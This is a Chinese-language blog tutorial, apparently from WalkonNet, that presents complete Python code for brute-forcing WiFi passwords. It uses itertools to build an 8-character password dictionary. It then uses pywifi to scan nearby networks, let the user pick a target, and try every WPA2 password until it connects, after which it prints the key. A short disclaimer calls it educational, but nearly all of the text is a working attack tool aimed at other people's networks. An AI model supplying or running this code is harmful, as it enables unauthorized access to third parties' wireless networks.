python破解WiFi教程代碼,Python蹭網原理講解
用Python生成一個簡單的密碼本,一般是有數字、字母和符號組成,這裡用到的思路主要是窮舉法。通過使用pywifi 模塊,根據密碼本暴力破解WiFi。
聲明:本文隻是從技術的角度來闡述學習Pywifi庫!並不建議大傢做任何破壞性的操作和任何不當的行為!
一、安裝pywifi
pywifi是在python中一個用於操作無線接口的模塊,可以跨平臺使用,Windows和Linux都支持
在notebook或者pycharm、anaconda中安裝
pip install pywifi
二、構建wifi密碼字典
一般字典包括數字(0-9)、字母(a-z,區分大小寫)、特殊字符(!@#$%^&*()_+=-)
常規的wifi密碼為8位,且僅包括數字和小寫字母,所以我們可以從數字和字母組成的字符串中隨機挑選出8位(單個字符可重復出現),作為wifi密碼組成字典存入txt文檔。
也可以去網上下載一個常用wifi密碼,隻要是TXT文本就可以.
import itertools as its words = "1234567890abcdefghijklmnopqrstuvwxyz" #可選擇的字符 r =its.product(words,repeat=8) #組成8位字符串 dic = open("pwd.txt","a") #存儲為wifi密碼字典 #wifi密碼完成換行,並寫入txt文檔 for i in r: dic.write("".join(i)) dic.write("".join("\n")) dic.close()
三、python實現wifi破解
import pywifi import time from pywifi import const # WiFi掃描模塊 def wifi_scan(): # 初始化wifi wifi = pywifi.PyWiFi() # 使用第一個無線網卡 interface = wifi.interfaces()[0] # 開始掃描 interface.scan() for i in range(4): time.sleep(1) print('\r掃描可用 WiFi 中,請稍後。。。(' + str(3 - i), end=')') print('\r掃描完成!\n' + '-' * 38) print('\r{:4}{:6}{}'.format('編號', '信號強度', 'wifi名')) # 掃描結果,scan_results()返回一個集,存放的是每個wifi對象 bss = interface.scan_results() # 存放wifi名的集合 wifi_name_set = set() for w in bss: # 解決亂碼問題 wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_set.add(wifi_name_and_signal) # 存入列表並按信號排序 wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 # 格式化輸出 while num < len(wifi_name_list): print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) num += 1 print('-' * 38) # 返回wifi列表 return wifi_name_list # WIFI破解模塊 def wifi_password_crack(wifi_name): # 字典路徑 wifi_dic_path = input("請輸入本地用於WIFI暴力破解的密碼字典(txt格式,每個密碼占據1行)的路徑:") with open(wifi_dic_path, 'r') as f: # 遍歷密碼 for pwd in f: # 去除密碼的末尾換行符 pwd = pwd.strip('\n') # 創建wifi對象 wifi = pywifi.PyWiFi() # 創建網卡對象,為第一個wifi網卡 interface = wifi.interfaces()[0] # 斷開所有wifi連接 interface.disconnect() # 等待其斷開 while interface.status() == 4: # 當其處於連接狀態時,利用循環等待其斷開 pass # 創建連接文件(對象) profile = pywifi.Profile() # wifi名稱 profile.ssid = wifi_name # 需要認證 profile.auth = const.AUTH_ALG_OPEN # wifi默認加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP # wifi密碼 profile.key = pwd # 刪除所有wifi連接文件 interface.remove_all_network_profiles() # 設置新的wifi連接文件 tmp_profile = interface.add_network_profile(profile) # 開始嘗試連接 interface.connect(tmp_profile) start_time = time.time() while time.time() - start_time < 1.5: # 接口狀態為4代表連接成功(當嘗試時間大於1.5秒之後則為錯誤密碼,經測試測正確密碼一般都在1.5秒內連接,若要提高準確性可以設置為2s或以上,相應暴力破解速度就會變慢) if interface.status() == 4: print(f'\r連接成功!密碼為:{pwd}') exit(0) else: print(f'\r正在利用密碼 {pwd} 嘗試破解。', end='') # 主函數 def main(): # 退出標致 exit_flag = 0 # 目標編號 target_num = -1 while not exit_flag: try: print('WiFi萬能鑰匙'.center(35, '-')) # 調用掃描模塊,返回一個排序後的wifi列表 wifi_list = wifi_scan() # 讓用戶選擇要破解的wifi編號,並對用戶輸入的編號進行判斷和異常處理 choose_exit_flag = 0 while not choose_exit_flag: try: target_num = int(input('請選擇你要嘗試破解的wifi:')) # 如果要選擇的wifi編號在列表內,繼續二次判斷,否則重新輸入 if target_num in range(len(wifi_list)): # 二次確認 while not choose_exit_flag: try: choose = str(input(f'你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},確定嗎?(Y/N)')) # 對用戶輸入進行小寫處理,並判斷 if choose.lower() == 'y': choose_exit_flag = 1 elif choose.lower() == 'n': break # 處理用戶其它字母輸入 else: print('隻能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 處理用戶非字母輸入 except ValueError: print('隻能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 退出破解 if choose_exit_flag == 1: break else: print('請重新輸入哦(*^▽^*)') except ValueError: print('隻能輸入數字哦o(* ̄︶ ̄*)o') # 密碼破解,傳入用戶選擇的wifi名稱 wifi_password_crack(wifi_list[target_num][1]) print('-' * 38) exit_flag = 1 except Exception as e: print(e) raise e if __name__ == '__main__': main()
到此這篇關於python破解WiFi教程代碼,Python蹭網原理講解的文章就介紹到這瞭,更多相關python破解WiFi內容請搜索WalkonNet以前的文章或繼續瀏覽下面的相關文章希望大傢以後多多支持WalkonNet!
推薦閱讀:
- 利用Python探測附近WIFI密碼的詳細代碼
- 在前女友婚禮上用python把婚禮現場的WIFI名稱改成瞭
- 在前女友婚禮上,用Python破解瞭現場的WIFI還把名稱改成瞭
- python中對信號的處理詳解
- python編寫小程序探測linux端口占用情況